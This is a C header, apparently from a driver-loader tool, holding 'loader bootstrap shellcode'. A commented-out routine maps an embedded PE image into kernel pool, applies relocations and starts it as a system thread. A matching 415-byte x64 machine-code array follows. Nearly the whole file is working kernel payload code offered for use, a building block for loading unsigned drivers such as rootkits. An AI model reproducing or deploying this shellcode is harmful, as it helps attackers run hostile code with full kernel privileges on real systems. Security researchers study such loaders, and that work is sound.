146 lines
5.7 KiB
C
146 lines
5.7 KiB
C
|
/*******************************************************************************
|
||
|
*
|
||
|
* (C) COPYRIGHT AUTHORS, 2016
|
||
|
*
|
||
|
* TITLE: SHELLCODE.H
|
||
|
*
|
||
|
* VERSION: 1.00
|
||
|
*
|
||
|
* DATE: 30 Jan 2016
|
||
|
*
|
||
|
* Loader bootstrap shellcode.
|
||
|
*
|
||
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||
|
* PARTICULAR PURPOSE.
|
||
|
*
|
||
|
*******************************************************************************/
|
||
|
|
||
|
#pragma once
|
||
|
|
||
|
typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)(
|
||
|
_In_ POOL_TYPE PoolType,
|
||
|
_In_ SIZE_T NumberOfBytes,
|
||
|
_In_ ULONG Tag
|
||
|
);
|
||
|
|
||
|
typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)(
|
||
|
_Out_ PHANDLE ThreadHandle,
|
||
|
_In_ ULONG DesiredAccess,
|
||
|
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
|
||
|
_In_opt_ HANDLE ProcessHandle,
|
||
|
_Out_opt_ PCLIENT_ID ClientId,
|
||
|
_In_ PKSTART_ROUTINE StartRoutine,
|
||
|
_In_opt_ PVOID StartContext
|
||
|
);
|
||
|
|
||
|
/*
|
||
|
* TDLBootstrapLoader
|
||
|
*
|
||
|
* Purpose:
|
||
|
*
|
||
|
* Main part of shellcode used to execute driver code.
|
||
|
*
|
||
|
*/
|
||
|
/*
|
||
|
void TDLBootstrapLoader(
|
||
|
PfnExAllocatePoolWithTag ExAllocatePoolWithTag,
|
||
|
PfnPsCreateSystemThread PsCreateSystemThread)
|
||
|
{
|
||
|
ULONG_PTR pos, exbuffer,
|
||
|
Image = ((ULONG_PTR)&TDLBootstrapLoader) + 0x200;
|
||
|
|
||
|
PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
|
||
|
PIMAGE_FILE_HEADER fileh =
|
||
|
(PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
|
||
|
|
||
|
PIMAGE_OPTIONAL_HEADER popth =
|
||
|
(PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
||
|
|
||
|
ULONG isz = popth->SizeOfImage;
|
||
|
HANDLE th;
|
||
|
|
||
|
PIMAGE_BASE_RELOCATION rel;
|
||
|
DWORD_PTR delta;
|
||
|
LPWORD chains;
|
||
|
DWORD c, p, rsz;
|
||
|
|
||
|
OBJECT_ATTRIBUTES attr;
|
||
|
|
||
|
exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
|
||
|
NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
|
||
|
exbuffer &= ~(PAGE_SIZE - 1);
|
||
|
|
||
|
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
|
||
|
if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
|
||
|
{
|
||
|
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
|
||
|
popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||
|
|
||
|
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
||
|
delta = (DWORD_PTR)exbuffer - popth->ImageBase;
|
||
|
c = 0;
|
||
|
|
||
|
while (c < rsz) {
|
||
|
p = sizeof(IMAGE_BASE_RELOCATION);
|
||
|
chains = (LPWORD)((PBYTE)rel + p);
|
||
|
|
||
|
while (p < rel->SizeOfBlock) {
|
||
|
|
||
|
switch (*chains >> 12) {
|
||
|
case IMAGE_REL_BASED_HIGHLOW:
|
||
|
*(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
|
||
|
break;
|
||
|
case IMAGE_REL_BASED_DIR64:
|
||
|
*(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
chains++;
|
||
|
p += sizeof(WORD);
|
||
|
}
|
||
|
|
||
|
c += rel->SizeOfBlock;
|
||
|
rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
isz >>= 3;
|
||
|
for (pos = 0; pos < isz; pos++)
|
||
|
((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
|
||
|
|
||
|
InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
||
|
PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL,
|
||
|
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL);
|
||
|
}
|
||
|
*/
|
||
|
static const unsigned char TDLBootstrapLoader_code[415] = {
|
||
|
0x40, 0x53, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x70, 0x4C, 0x8B, 0xE2,
|
||
|
0x4C, 0x89, 0xBC, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC9, 0x48, 0x8D, 0x1D, 0xDE, 0xFF,
|
||
|
0xFF, 0xFF, 0x48, 0x81, 0xC3, 0x00, 0x02, 0x00, 0x00, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C,
|
||
|
0x53, 0x4C, 0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00,
|
||
|
0x10, 0x00, 0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xED, 0x48, 0x8D, 0xB0, 0x00, 0x10, 0x00, 0x00,
|
||
|
0x48, 0x81, 0xE6, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F,
|
||
|
0x86, 0xAB, 0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84,
|
||
|
0x9C, 0x00, 0x00, 0x00, 0x48, 0x89, 0xAC, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B,
|
||
|
0x41, 0x8B, 0xAE, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDE, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89,
|
||
|
0xBC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xFD, 0x85, 0xED, 0x74, 0x63, 0x0F, 0x1F, 0x00,
|
||
|
0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
|
||
|
0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
|
||
|
0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
|
||
|
0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
|
||
|
0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
|
||
|
0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFD, 0x72, 0xA0,
|
||
|
0x48, 0x8B, 0xAC, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0xB0, 0x00, 0x00, 0x00,
|
||
|
0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0xBC, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xC1, 0xEA, 0x03, 0x48,
|
||
|
0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCE, 0x48, 0x2B, 0xDE, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
|
||
|
0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
|
||
|
0xEF, 0x0F, 0x57, 0xC0, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x44,
|
||
|
0x24, 0x60, 0x4C, 0x89, 0x6C, 0x24, 0x48, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0xC7, 0x44, 0x24, 0x58,
|
||
|
0x00, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x6C, 0x24,
|
||
|
0x50, 0x45, 0x33, 0xC9, 0x41, 0x8B, 0x46, 0x28, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x03, 0xC6,
|
||
|
0x4C, 0x89, 0x6C, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C, 0x89, 0x6C, 0x24, 0x20, 0x41,
|
||
|
0xFF, 0xD4, 0x48, 0x83, 0xC4, 0x70, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5B, 0xC3
|
||
|
};
|